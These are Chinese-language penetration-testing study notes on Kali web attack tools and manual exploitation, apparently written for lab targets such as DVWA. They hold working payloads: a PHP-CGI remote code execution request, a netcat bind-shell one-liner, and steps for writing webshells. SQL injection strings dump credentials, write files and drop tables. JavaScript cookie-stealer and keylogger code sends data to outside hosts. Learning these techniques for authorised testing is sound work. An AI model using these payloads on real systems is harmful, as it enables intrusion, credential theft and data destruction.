kaliWEB渗透笔记

抓包协议分析
一般每300M分成一个包,这样抓包分析工具打开速度不会太慢。
首先剔除对分析没有用处的协议,剔除IP地址是224以上的组播地址。

WEB攻击面
Network、OS、WEB Server、App server、Web Application、Database、Browser

重要的header
• Set-Cookie:服务器发给客户端的SessionlD (被窃取的风险)
• Content-Length:响应body部分的字节长度
•Location:重定向用户到另一个页面,可识别身份认证后允许访问的页面
• Cookie:客户端发回给服务器证明用户状态的信息(头值成对出现)
• Referer:发起新请求之前用户位于哪个页面,服务器基于此头的安全限制很容易被修改绕过

服务端响应的状态码表示响应的结果类型(5大类50多个具体响应码)
100s:服务器晌应的信息,通常表示服务器还有后续处理,很少出现
200s:请求被服务器成功接受并处理后返回的响应结果
300s:重定向,通常在身份认证成功后重定向到一个安全页面(301/302)
400s:表示客户端请求错误
• 401:需要身份验证
• 403:拒绝访问
• 404:目标未发现
500s:服务器内部错误(503:服务不可用} http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

侦察:httracker 先将网站下载下来,减少与目标系统的交互。

扫描工具:
nikto
Perl语言开发的开源web安全扫描器
软件版本
搜索存在安全隐患的文件
服务器配置漏洞
WEB Application层面的安全隐患
避免404误判
•很多服务器不遵守RFC标准,对于不存在的对象返回200晌应码
•依据响应文件内容判断,不同扩屐名的文件404响应内容不同
•去除时间信息后的内容取MD5值
• -no404
命令:
nikto -list-plugins 查看所有插件
nikto -update 升级插件,但现在不可用,需要:
git clone https://github.com/sullo/nikto.git Nikto,再git pull
或到下面网址下载
http://cirt.net/nikto/UPDATES
nikto -host http://1.1.1.1 扫描1.1.1.1
nikto -host 192.168.1.1 -ssl -port 443,8443,995 扫描目标的https443端口等
nikto -host host.txt 指定多个目标地址
nmap -p80 192.168.1.0/24 -oG - | nikto -host - 将Nmap的扫描结果IP地址作为目标通过nikto扫描
nikto -host 192.168.1.1 -useproxy http://localhost:8087 使用代理扫描
nikto -vhost www.baidu.com 扫描同一IP上的不同网站
执行过程中可以使用的命令:
空格 – report current scan status
v – verbose mode on/off
d – debug mode on/off
e – error reporting on/off
p – progress reporting on/off
r – redirect display on/off
c – cookie display on/off
a – auth display on/off
q – quit
N – next host
P - Pause
配罝文件:
/etc/nikto.conf 修改UA等参数,
STATIC-COOKIE=“cookie1”=“cookie value”;“cookie2”=“cookie value”
-evasion:使用LibWhisker中对IDS的躲避技术,可使用以下几种类型:
1随机URL编码(非UTF-8方式)
2自选择路径(/./)
3过早结束的URL
4优先考虑长随机字符串
5参数欺骗
6使用TAB作为命令的分隔符
7使用变化的URL
8使用Windows路径分隔符""

vega(Kali已不再提供)

skipfish
C语言编写
实验性的主动web安全评估工具
递归爬网
基于字典的探测
速度较快
•多路单线程,全异步网络I/O,消除内存管理和调度开销
•启发式自动内容识别
误报较低
skipfish -o test http://1.1.1.1
skipfish -o test @url.txt
skipfish -o test -S complet.wl -W a.wl http://1.1.1.1 -S指定字典 -W将这个网站特有的字符串名称存入a.wl字典
-I :只检查包含’string’的URL
-X:不检查包含’string’的URL,例如logout,扫了就退出登录了
-K :不对指定参数进行Fuzz测试
-D :跨站点爬另外一个域
-I :每秒最大请求数
-m :每IP最大并发连接数
–config:指定配置文件
身份认证
skipfish -A user:pass -o test http://1.1.1.1 http基本身份认证
skipfish -C “name=val” [-C “name1=val1”] -o test http://1.1.1.1 cookie认证
让skipfish填用户名和密码的方式查看man中的–auth相关参数
扫描速度太快,出发了目标站点的连接数限制,降低-m -l数值

w3af

Web Application Attack and Audit Framework,基于Python语言开发
此框架的目标是帮助你发现和利用所有WEB应用程序漏洞
9大类近150个plugin:audit、infrastructure、grep、evasion、mangle、auth、bruteforce、output、crawl
(升级,在目录内git pull)
help 显示可用指令
plugin 进入plugin子命令:list audit列出audit类所有插件,audit sqli xss选择使用的audit插件 ,audit all选择全部audit插件,一般选择audit all、grep all、crawl web_spider
http-settings、misc-settings全局配罝:view查看可配置的参数,set设置参数,back回到上一级命令
Profiles
save_as test self-contained保存当前配置以及本地字典等为test并可在其他电脑使用
use test使用配置test
Target
set target http://1.1.1.1/
start 开始扫描
script/*.w3af 使用脚本
使用COOKIE认证要使用文件并且有严格的格式要求
通过使用截断代理,设置HTTP header file,满足HTTP头的身份认证方式
截断代理history选项卡下fuzz按钮内,语法可参考syntax help选项卡;compare按钮可以比较两次内容的不同,对漏洞的手动挖掘常用此法
最上方generate manual HTTP request手动向服务器发送请求
w3af不支持客户端技术(JavaScript,flash,Java applet等)
截断代理手动爬网:选择使用spider_man插件后进行手动爬网,http://127.7.7.7/spider_man?terminate停止spider_man;使用output下的export_requests保存爬网结果并以后可以使用import_results导入使用,不用再次爬网。
exploit:可以直接使用w3af对漏洞进行利用。

arachni
Dispatcher:在arachni目录下:./arachni_rpcd --address=127.0.0.1 --port=1111 --nickname=test1,指定一个昵称为test1的dispatcher,随后在网页端可以使用此test1。
Grid:./arachni_rpcd --nickname=test2 --address=127.0.0.1 --neighbour=127.0.0.1:1111,设置一个grid,将现有的dispatcher加入到grid里面。
在指定neighbor时最好以链形式一个指一个,而不是许多dispatcher指向同一个。

OWASP_ZAP

WEB Application集成渗透测试和漏洞挖掘工具
开源跨平台
截断代理:127.0.0.1:8080,截断功能在上方圆形按钮开启
主动、被动扫描
Fuzz、暴力破解
API:http://zap/(通过ZAP代理)
Persist Session 刚进入软件选择2保存会话到指定位置,下次可以打开以继续工作
Mode——Safe Protected Standard ATTACK
升级add-ons
scan policy
anti CSRF tokens 在设置里
https——CA 添加证书到浏览器,可以防止危险警告,在设置里
Scope / Contexts / filter 右键网站或子目录,include in context新建上下文,可以只查看所选站点,减少干扰
Http Sessions——default session tokens & site session tokens 功能按钮在最上方,设定上下文后,可以设置指定站点的身份认证方式,默认的manual就好使,设置中HTTP session里默认包含了一些cookie中认为是session的字段,例如dvwa的cookie中的security字段就需要自己添加进去,在查看—HTTP sessions tab里可以右键选择active,实现身份切换。
Note / tag 添加记录和标签
Passive scan 被动扫描
上方灯泡按钮可以显示页面中隐藏的表单等

Burpsuite

PortSwigger公司开发
所有的工具共享一个能处理并显示HTTP消息的可扩扎框架,模块之间无缝交换信息
proxy 代理功能:
options:
invisible 使用透明代理+重定向,用作请求路径是相对路径的情况,例如手机微信客户端,或者是多个目标域名,创建多块环回网卡,分别指定一个重定向ip和端口
CA 证书的导出供浏览器安装
intercept入站出站
response modify
target目标:
scope范围,将站点加入范围可进行只看范围内站点的筛选操作,将logout类似字段加入排除的范围以防止登出
filter筛选,点击上方白色条进入筛选器,可以只仅显示带参数的请求等
comparing site map 对比站点地图,可以对比两个站点地图请求响应的不同以及目录结构的不同,例如对比两个登陆账户所能看到的页面的不同
Active / Passive Scan
Extender:BApp Store :Jython http://www.jython.org/downloads.html
Option
Scan queue
Result

intruder: 类似fuzz功能
positions 选择变量和攻击类型
kaliWEB渗透笔记_第1张图片
PAYLOAD
•Simple list
•Runtime file
•Character substitution
•Case modification
•Character blocks 字符块 发送大量字符 可用在缓冲区溢出
•Numbers 、Copy other payload
•Dates、Brute forcer、Character frobber、Username generator
•Dates
OPTIONS
•Grep match

repeater 手动发送请求给目标
Request History
Change request method
Change body encoding
Copy as curl command
Convert selection
Repeater菜单:
Engagement tools——generate csrf PoC
Follow redirections
Process cookies in redirections 带着cookies重定向

sequencer
分析程序中可预测的数据
Session cookies
anti-CSRF tokens
Start live capture:
Analyze 数据越多分析越准确
伪随机数算法
Character-level
Bit-level。
FIPS—美国联邦信息处理标准Federal Information Processing Standard

decoder
使用各种编码绕过服务器端输入过滤
smart decode

AWVS(ACUNETIX WEB VULNERABILITY SCANNER)

自动手动爬网,支持AJAX、JavaScript
AcuSensor灰盒测试
•发现爬网无法发现文件
•额外的漏洞扫描
•可发现存在漏洞的源码行号
•支持PHP、.NET (不获取源码的情况下注入已编译.NET)
生成PCI、27001标准和规报告
网络扫描
•FTP, DNS, SMTP, IMAP, POP3, SSH, SNMP, Telnet
•集成openvas扫描漏洞
爬站、子域扫描器、发现扫描器、SQL注入验证、Http editor、Http sniffer、HTTP Fuzzer、身份认证测试、结果比较。
AcuSensor安装:生成agent文件acu_phpaspect.php(PHP5.0以上);将文件拷贝到目标服务器,web程序可以访问到的目录;修改.htaccess或php.ini:php_value auto_prepend_file ‘[path to acu_phpaspect.php file]’

APPSCAN

watchfire appscan,2007年被IBM收购,成为IBM appscan
扫描过程:探索阶段、测试阶段,不仅是APPSCAN,所有扫描器都建议先用手动方式爬网,再自动爬网,最后再进行扫描。
第一个过程发现的新的URL地址,下一个扫描过程自动追加扫描
软件安装
向导方式
完全配置
glass box:相当于acusensor,agent收集服务器端源代码信息和其他数据,支持JAVA、.NET两种平台。

手动漏洞挖掘

默认安装导致的漏洞

Windows默认安装漏洞
phpMyAdmin/setup :
POST http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1±d
+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10

Ubuntu / Debian默认安装PHP5-cgi,可直接访问/cgi-bin/php5和/cgi-bin/php,一般扫描器是爬不出来的,因为不在/var/www下
PHP反弹shell:/usr/share/webshells/php/php-reverse-shell.php,将文件里的内容通过漏洞直接让目标服务器执行,这样不会在服务器留下文件之类的痕迹,比较隐蔽,执行后就直接获得到了对方的shell
whereis ifconfig 因为是www-data账号,所以不能直接ifconfig,需要whereis下,找到ifconfig的地址,再尝试执行。
写入webshell:echo “” > /var/www/3.php ,这样可以直接在3.php页面的URL后跟上参数直接运行系统命令。

身份认证
弱口令、基于自点的密码爆破
锁定账号机制可以防止爆破
信息收集 例如论坛等一些用户排行榜 手机号一般隐藏中间四位等 这样可以大大减少尝试的工作量 获得存在的用户名
错误密码提示信息 提示用户名不存在 提示密码错误 这样的提示不安全,只提示登陆错误才可,有些虽然只提示登陆错误,但抓包分析后会发现response中会有不同的错误代码等,也可以判断用户名是否存在。
密码嗅探

会话sessionID:
XSS/cookie importer
SessionID in URL 在URL中传输sessionID是非常不安全的
嗅探
sessionID长期不变或永久不变 是不安全的,退出登陆再点后退键是不应该可以返回到之前登陆可以查看的页面的;直接关闭页面没有点退出登录,应该有超时时间,长期有效的sessionID是不妥的。

sessionID生成算法:
sequencer
私有算法 采用公开的加密算法是主流做法,自己建立的算法很可能加较为脆弱
预判下一次登陆时生成的sessionID

密码找回: https://www.example.com/[email protected]&key=b4c9a289323b21a01c3e940f150eb9b8c542587f1abfd8f0e1cc1ffc5e475514,如果这里的key随机数生成是可以预测的,例如直接使用哈希算法等,那么任何人都可以重置密码。

漏洞挖掘原则
所有变量
所有头:cookie中的变量
逐个变量删除 将服务器不处理的变量逐个试出来删除掉,可以简化工作

漏洞的本质:
数据与指令的混淆
对用户输入信息过滤不严判断失误,误将指令当数据。

命令执行

应用程序开发者直接调用操作系统功能,此时可以尝试;、|、||、&、&&
源码应该有过滤用户输入的功能
;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe 此命令使目标主机开放侦听4444端口

Directory traversal目录遍历与 File include文件包含:

目录遍历是目录权限限制不严,可直接访问本地其他目录的文件;文件包含是改变include的目标;这两个的利用方法都是在url变量处输入其他目录;文件包含还分为本地文件包含local file include(LFI,和远程文件包含remote file include (RFI。
/etc/php5/cgi/php.ini :allow_url_include = on, 设置成on时才可以进行文件包含
特征一般为:?page=a.php、?home=b.html、?home=b.html、?file=content。

经典测试方法:
?file=…/…/…/…/etc/passwd 通过…/访问到根目录
?page=file:///etc/passwd 使用绝对路径方式
?home=main.cgi 此文件一般含有重要信息
?page=http://www.a.com/1.php 远程文件包含
http://1.1.1.1/…/…/…/…/dir/file.txt 。

编码绕过字符过滤:
在文件吗后加.或%00尝试绕过文件扩展名过滤,让服务器自动加的.php后缀失效,例如?file=a.doc%00.php。
使用多种编码尝试,常见的有:
url编码、双层url编码:
%2e%2e%2f解码:…/
%2e%2e%5c解码:…\
%252e%252e%255c解码:…\ 。
Unicode/UTF-8编码。

类unix系统的目录分隔符是/,Windows的是\或/
其他系统路径可能使用到的字符:
•file.txt…
•file.txt
•file.txt””””
•file.txt<<<>>><
•./././file.txt
•nonexistant/…/file.txt
UNC路径:\1.1.1.1\path\to\file.txt

有时文件包含不在url中,在cookie中,注意检查cookie

本地文件包含:不仅是查看文件,也可以实现代码执行,例如向服务器发送的请求中包含 ,这段代码就会在Apache access.log中,再通过文件包含查看这个log并加上参数cmd的内容即可获得服务器的shell。

远程文件包含:出现概率小于LFI,但更容易被利用,例如直接包含一个网页木马。
/usr/share/wfuzz/wordlist/vulns/ 漏洞利用向量字典,利用burp的intruder使用

文件上传漏洞

直接上传webshell
修改文件类型上传webshell
mimetype 根据文件头、扩展名辨别文件类型
修改扩展名上传webshell:静态解析文件扩展名时可能无法执行,解决:1.php.jpg
文件头绕过过滤上传webshell
防止漏洞的有效办法之一是不要赋予上传目录的执行权限

SQL注入

服务器端程序将用户输入作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
用户登录判断:
•SELECT * FROM users WHERE user=‘uname’ AND password=‘pass’
•SELECT * FROM users WHERE user=‘uname’ AND password=’’ OR ‘’=’’

基于报错的检测方法:’ " % ( ),当成对出现的符号单个出现时,就会报错
基于布尔的检测:1’ and ‘1’=‘1 简化:1’ and ‘1 ; 1’ and ‘1’=‘2 简化:1’ and '0
表列数 / 显示信息位于哪一列:
’ order by 0–+ 按查询列号排序,–是注释符,+可以换为空格
select * 时表字段数=查询字段数 。
联合查询:
’ union select 1,2–+
’ union all select database().2–+
’ union select database(),substring_index(USER(),"@",1)–

其他函数:user():DB用户;version():DB版本
全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os
当前库:database();ASCII转字符:char();
连接字符串:CONCAT_WS(CHAR(32,58,32),user(),database(),version())
计算哈希:md5()

Mysql数据结构:information_schema
所有库所有表、统计每个库中表的数量:
’ union select table_name,table_schema from information_schema.tables–+
’ union select table_schema,count(*) from information_schema.tables group by
table_schema –
DVWA库中的表名:
’ union select table_name,table_schema from information_schema.tables where
table_schema=‘dvwa’–+
user表中所有的列:
’ union select table_name,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ --+
结果是user_id first_name last_name user password avatar
查询user、password列的内容
’ union select user,password from dvwa.users–+
’ union select user,password from users–+
’ union select null, concat(user,0x3a,password) from users–+
密码破解:
username:passhash ——> dvwa.txt
john --format=raw-MD5 dvwa.txt

读取文件:’ union SELECT null, load_file(’/etc/passwd’)–+
写入文件: union select null,"" INTO DUMPFILE “/var/www/a.php” --+ 读取和写入这些操作都要看当前的mysql账户的权限,受限时可以存在/tmp目录中,再结合文件包含漏洞执行。
cat php-revers-shell.php | xxd -ps | tr -d ‘\n’ 转成16进制并去掉换行符,方便绕过系统对URL中敏感字符的过滤,如下:
’ union select null, (0x3c3f706870) INTO DUMPFILE ‘/tmp/x.php’-- 。
当数据库过大,可以导出数据库,保存下载数据库:
’ union select null, concat(user,0x3a,password) from users INTO OUTFILE ‘/tmp/a.db’-- 有限制时就只能每次限制显示一部分,随后拼接好

一个思路:编写服务器端代码:当尝试获取管理员帐号密码失败时,可以利用有限的权限在服务器放置一个功能,例如添加管理员帐号,添加一个新的,也可以达到同样效果。

无权读取information_schema库 / 拒绝union、order by语句:
猜列名:’ and column123 is null–+ 可以find / -name column.txt找到列名字典,再用burp的intruder。
猜当前表表名:’ and table123.user is null–+ 已知user列,猜user列所在的表名,同上,找table字典进行爆破,当然也可以猜库名,db123.table.user。
猜库里其他表:’ and (select count(*) from table123)>0–+
猜字段内容:’ or user=‘admin123 或 ’ or user like ‘%a%
猜帐号对应密码:’ or user=‘admin’ and password=‘5f4dc…密码字典逐条MD5
当数据库可写:
‘; update users set user=‘abc123’ where user=‘admin
metasploitable靶机会注入失败,这是sql客户端工具的问题
‘; INSERT INTO users (’ user_id’,’ first_name’,’ last_name’,’ user’,‘password’,‘avatar’) VALUES (‘35’,‘hl’,‘f’,‘fhl’,‘5f4dcc3b5aa765d61d8327deb882cf99’,‘OK’);–+
'; DROP TABLE users; – 删除表

SQL盲注

不显示数据库内建的报错信息
内建的报错信息帮助开发人员发现和修复问题
报错信息提供关于系统的大量有用信息
当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结束,即 盲
思路:既然无法基于报错信息判断结果,则基于逻辑真假的不同结果来判断
1‘ and 1=1–+ 、 1‘ and 1=2–+
1’ order by 5–+ 假;1’ order by 2–+ 真
1’ union select 1,2–+
1’ union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())–+
1’ and 1=0 union select null,table_name from information_schema.tables#
1’ and 1=0 union select null,table_name from information_schema.columns where table_name=‘users’ #
无权读取information_schema库 / 拒绝union、order by 语句:
猜列名:1’ and column123 is not null–+
猜当前表表名:1’ and table123.user is not null–+
猜库里其他表:1’ and (select count(*) from table123)>0–+
猜字段内容:1’ and user=‘admin123 或 1’ or user like ‘%a%
猜帐号对应密码:2’ and user=‘admin’ and password=‘5f4dc…
1’ and ORD(MID((VERSION()),1,1))&1>0–+ 通过不断尝试&1、2、4、16…128确定ASCII码,逐个解出所需信息,适用于仅能发现真假差别而不能得到查询结果。

SQLMAP自动注入

开源sql注入漏洞检测、利用工具
检测动态页面中get/post参数、cookie、http头
数据榨取
文件系统访问
操作系统命令执行
引擎强大、特性丰富
Xss漏洞检测
五种漏洞检测技术
基于布尔的盲注检测
基于时间的盲注检测
• ’ and (select * from (select(sleep(20)))a)–+
基于锗误的检测
基于UNION联合查询的检测
•适用于通过循环直接输出联合査询结果,否则只显示第一项结果
基于堆叠查询的检测
•用;堆叠多个查询语句 •适用于非select的数据修改、删除的操作
支持的数据库管理系统DBMS
•MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase , SAP MaxDB
其他特性:
数据库直接连接-d
•不通过SQL注入,制定身份认证倍悤、IP、端口
与burpsuite、google结合使用,支持正则表达式限定测试目标
Get、posts、cookie、Referer、User-Agent (随机或指定)
• Cookie过期后自动处理Set-Cookie头,更新cookie信息
限速:最大并发、延迟发送
支持Basic, Digest, NTLM, CA身份认证
数据库版本、用户、权限、hosh枚举和字典破解、暴力破解表列名称
文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表
与w3af、melasploit集成结合使用,基于数据库服务进程提权和上传执行后门

sqlmap -h / -hh 常用命令帮助及所有命令帮助
get方法:sqlmap -u “http://192.168.20.10/mutillidae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details” -p username -f
以上是最简单的一条扫描命令
-p 只针对指定的这个参数进行注入
-f 根据指纹信息确定使用的数据库系统
–users 查找数据库所有账户
–banner 查看banner信息
–dbs 查看有哪些库
–schema 查看information_schema信息
-a 能查的都查了
sqlmap -d “mysql://user:[email protected]:3306/dvwa” -f --users --banner --dbs --schema -a -d作为客户端直连数据库

扫描URL列表文件:
http://1.1.1.1/vuln1.php?q=foobar

http://1.1.1.1/vuln3/id/1*
sqlmap -m list.txt

扫描google搜索结果:sqlmap.py -g “inurl:”.php?id=1""
POST方法:使用http请求文件,burp抓取并存下来,sqlmap -r request.txt ,或使用burp的log文件,sqlmap -l log.txt

HTTPS:sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl
扫描配置文件:sqlmap -c sqlmap.conf

REQUEST:
数据段 --data:
get/post都适用
sqlmap -u “http://1.1.1.1/a.php” --data=“user=1&pass=2” -f
变量分隔符 --param-del:
http://1.1.1.1/a.php?q=foo;id=1 例如是分号
sqlmap -u “http://1.1.1.1/a.php” --data=“q=foo;id=1” --param-del=";" -f
cookie头 --cookie:
web应用需要基于cookie的身份认证
检查cookie中的注入点(level>=2)
Set-Cookie sqlmap会自动更新服务器发来的新的cookie,如果不想更新,一直用原来的,那么加上–drop-set-cookie参数,–cookie-del
sqlmap -u “http://1.1.1.1/a.php?id=1” --cookie=“a=1;b=2” -f
–user-agent
•sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
–random-agent 设置随机的UA
•/usr/share/sqlmap/txt/user-agents.txt
sqlmap检查user-agent中的注入点:level>=3
APP/WAF/IPS/IDS过滤异常user-agent时报错
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent
host头 --host:level=5
referer头 --referer:level>=3
额外的header --headers:每个头单独一行,名称区分大小写,sqlmap -u “http://1.1.1.1/a.php?id=1” --headers=“host:www.a.com\nUser-Agent:abc123”
–method=GET/POST 指定请求使用的方法,默认先试get再用post
基于HTTP协议的身份验证:basic、digest、NTML,sqlmap. -u “http://1.1.1.1/a.php?id=1” --auth-type Basic --auth-cred “user:pass“
–auth-cert / --auth-file
•–auth-file=“ca.PEM”
含有私钥的PEM格式证书文件或PEM格式的证书链文件
http(s)代理:–proxy=“http://127.0.0.1:8087” 、–proxy-cred=“name:pass”
–ignore-proxy 忽略系统级代理设置,通常用于扫描本地网络目标
sqlmap -u “http://1.1.1.1/a.php?id=1” --proxy=“http://127.0.0.1:8087” -f
–delay 每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟
-timeout 请求超时时间,浮点数,默认为30秒
–retries http(s)连接超时重试次数,默认3次
–randomize 长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
-scope
•过滤日志内容,通过正则表达式筛选扫描对象
• sqlmap-l burp.log --scope=”(www)?.target.(com|net|org)"
• sqlmap -I 2.log -scope="(19)?.168.20.(1|10|100)" -level 3 --dbs
• User-Agent中的注入点
–safe-url 指定safe扫描的URL
–safe-freq
•检测和盲注阶段会产生大星失败请求,服务器端可能因此销毁session
•每发送–safe-freq次注入请求后,发送一次正常请求
–skip-urlencode
•默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据
–eval
•每次请求前执行指定的python代码
•每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
• sqlmap-u “http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b” --eval=“import hashlib;hash=hashlib.md5(id).hexdigest()”

OPTIMIZATION:
优化性能
–predict-output
•根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
•版本名、用户名、密码、Privileges、role、数据库名称、表名、列名
•与–threads参数不兼容
•统计表:/usr/share/sqlmap/txt/common-outputs.txt
–keep-alive
•使用http(s)长连接,性能好
•与–proxy参数不兼容
•长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
–null-connection
•只获取相应页面的大小值,而非页面具体内容
•通常用于盲注判断真/假,降低网络带宽消耗
•与–text-only参数不兼容(基于页面内容的比较判断真/假)
–threads
•最大并发线程
•盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
•默认值为1,建议不要超过10,否则可能影晌站点可用性
•与–predict-output参数不兼容
•-o开启前三个性能参数(除–threads参数)

INJECTION:
-p:指定扫描的参数,使–level失效;-p “user-agent, referer”
–skip:排除指定的扫描参数;–level=5 --skip=“id,user-agent”
URI注入点:sqlmap -u “http://targeturl/param1/value1*/param2/value2*/”
–dbms=“mysql”: MySQL <5.0>、Oracle <11i> 、Microsoft SQL Server <2005>、Microsoft SQL Server <2005>、PostgreSQL 、Microsoft Access 、SQLite 、Firebird 、Sybase 、SAP MaxDB、SAP MaxDB、DB2
–os:linux 、windows
–invalid-bignum、 --invalid-logical:通常sqlmap使用负值使参数取值失效,例如id=13–>id=-13;bignum使用大数使参数值失效id=99999999;logical使用布尔判断使取值失效id=12 AND 18=19
–no-cast:榨取数据时,sqlmap将所有结果转换为字符串,并且用空格替换NULL结果;老版本mysql数据库需要开启此开关
–no-escape:出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串;SELECT ‘foo’ --> SELECT CHAR(102)+CHAR(111)+CHAR(111);此参数将关闭此功能
–prefix、–suffix:
$query = “SELECT * FROM users WHERE id=(’” . $_GET[‘id’] . “’) LIMIT 0, 1”;
sqlmap -u “http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1” -p id --prefix “’)” --suffix “AND (‘abc’='abc”
query = “SELECT * FROM users WHERE id=(‘1’) AND
(‘abc’=‘abc’) LIMIT 0, 1”;
–tamper:混淆脚本,用于绕过应用层过滤、IPS、WAF;
sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper=“tamper/between.py,tamper/randomcase.py,tamper/space2comment.py” -v 3

DETECTION:
–level
• 1-5级(默认1)
• /usr/share/sqlmap/xml/payloads
–risk
• 1-4 (默认1/无害)
• Risk升高可造成数据被篡改等风险(update)
• --string, --not-string, --regexp, --code, --text-only, --titles
•页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串。

TECHNIQUES:
默认使用全部技术
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries(文件系统、操作系统、注册表必须)
T: Time-based blind
–time-sec
•基于时间的注入检测相应延迟时间(默认5秒)
–union-cols
•默认联合查询1-10列,随–level增加最多支持50列
•–union-cols 6-9
–union-char
联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值–union-char 123
–dns-domain:攻击者控制了某DNS服务器,使用此功能可以提高数的榨取的速度,–dns-domain attacker.com
–second-order:在一个页面注入的结果,要另在一个页面发现的时候使用此参数,–second-order http://1.1.1.1/b.php
-f , --fingerprint, -b , --banner :数据库管理系统指纹信息,DBMS、操作系统、架构、补丁

ENUMERATION:
–current-user 当前数据库管理系统帐号
–current-db 当前数据库名称
–hostname 主机名
–users 所有数据库帐号
–privileges -U username(CU当前帐号,不指定就是查所有账户) 查询用户权限
–roles
–dbs
–tables, 查所有表–exclude-sysdbs排除系统表不查 –D dvwa 指定dvwa库
–columns查所有列,-T users -D dvwa -C user 指定表、库、列
–schema --batch --exclude-sysdbs 元数据(–batch全使用默认选项)
–count 统计个数
dump数据:
–dump, -C, -T, -D, --start, --stop
–dump-all --exclude-sysdbs
–sql-query “select * from users”

BRUTE FORCE:
Mysql < 5.0,没有 information—schema 库
Mysql >= 5.0,但无权读取information_schema 库
微软的access数据库,默认无权读取MSysObjects库
–common-tables
–common-columns (Access 系统表无列信息)

UDF INJECTION:
–udf-inject , --shared-lib:
编译共享库创建并上传至DB server,以此生成UDF实现高级注入
linux:shared object
windows:DLL
http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-
full-control-whitepaper-4633857

FILE SYSTEM:
–file-read="/etc/passwd"
–file-write=“shell.php” --file-dest “/tmp/shell.php”

OS:
Mysql 、postgresql :上传共享库并生成sys_exec()、sys_eval()两个UDF
MSsql:xp_cmdshell存储过程(有就用、禁了启、没有建)
–sql-shell 、–os-shell 、–os-cmd

WINDOWS REGISTORY:
–reg-read 、–reg-add 、–reg-del
–reg-key --reg-value --reg-data --reg-type
sqlmap –u=“http://1.1.1.1/a.aspx?id=1” --reg-add --reg-key=“HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” --reg-value=Test --reg-type=REG_SZ --reg-data=1

GENERAL:
-s:sqlite会话文件保存位置
-t:记录流量文件保存位置
–charset:强制字符编码
• --charset=GBK
–crawl:从起始位置爬站深度
• --batch --crawl=3
–csv-del: dump数据默认存于",“分割的CSV文件中,指定其他分隔符
• --csv-del=”;"
–dbms-cred:指定数据库账号密码
–flush-session:清空session
–force-ssl
–fresh-queries:忽略session查询结果
–hex: dump非ASCII字符内容时,将其编码为16进制形式,收到后解码还原
• sqlmap -u “http://1.1.1.1/s.php?id=1” -hex -v 3
–output-dir=/tmp
–parse-errors:分析和显示数据库内建报错信息
• sqlmap.py -u “http://1.1.1.1/sqlmap/a.asp?id=1” -parse-errors
–save:将命令保存成配置文件

MISCELLANEOUS:
-z:参数助记符
sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u “1.1.1.1/a.php?id=1”
•sqlmap -z “bat,randoma,ign,tec=BEU” -u “1.1.1.1/a.php?id=1”
•sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u “1.1.1.1/a.php?id=1”
•sqlmap -z “ign,flu,bat,tec=U,dump,D=testdb,T=users” -u “1.1.1.1/vuln.php?id=1”
–answer
•sqlmap -u “http://1.1.1.1/a.php?id=1”–technique=E --answers=“extending=N” --batch
•–check-waf:检测WAF/IPS/IDS
•–hpp:HTTP parameter pollution:绕过WAF/IPS/IDS的有效方法,尤其对ASP/IIS和ASP.NET/IIS
–identify-waf:彻底的waf/ips/ids检查:支持30多种产品
–mobile:模拟智能手机设备
–purge-output:清除output文件夹
–smart:当有大量检测目标时,只选择基于错误的检测结果
–wizard:向导

XSS:(XSS的防护要从输入和输出两方面来考虑)

攻击WEB客户端
客户端脚本语言:弹窗告警、广告、JavaScript、在浏览器中执行
XSS(cross-site scripting):通过WEB站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的;注入客户端脚本代码;盗取cookie;重定向
VBScript, ActiveX, or Flash
JavaScript:与Java语言无关,命名完全出于市场原因,使用最广的客户端脚本语言

使用场景:直接嵌入html:

窃取cookie

a.js源码:var img = new Image();
img.src = “http://1.1.1.1/cookies.php?cookie=”+document.cookie;

Keylogger.js :
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open(“POST”,“http://192.168.20.8/keylogger.php”,true); http.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);
http.send(“key=”+param);
}
}

Keylogger.php


xss

Xsser:
命令行、图形化工具
绕过服务器端输入筛选:10、16进制编码;unescape()
xsser -u “http://1.1.1.1/dvwa/vulnerabilities/" -g “xss_r/?name=” --cookie=“security=low; PHPSESSID=d23e469411707ff8210717e67c521a81” -s -v --reverse-check
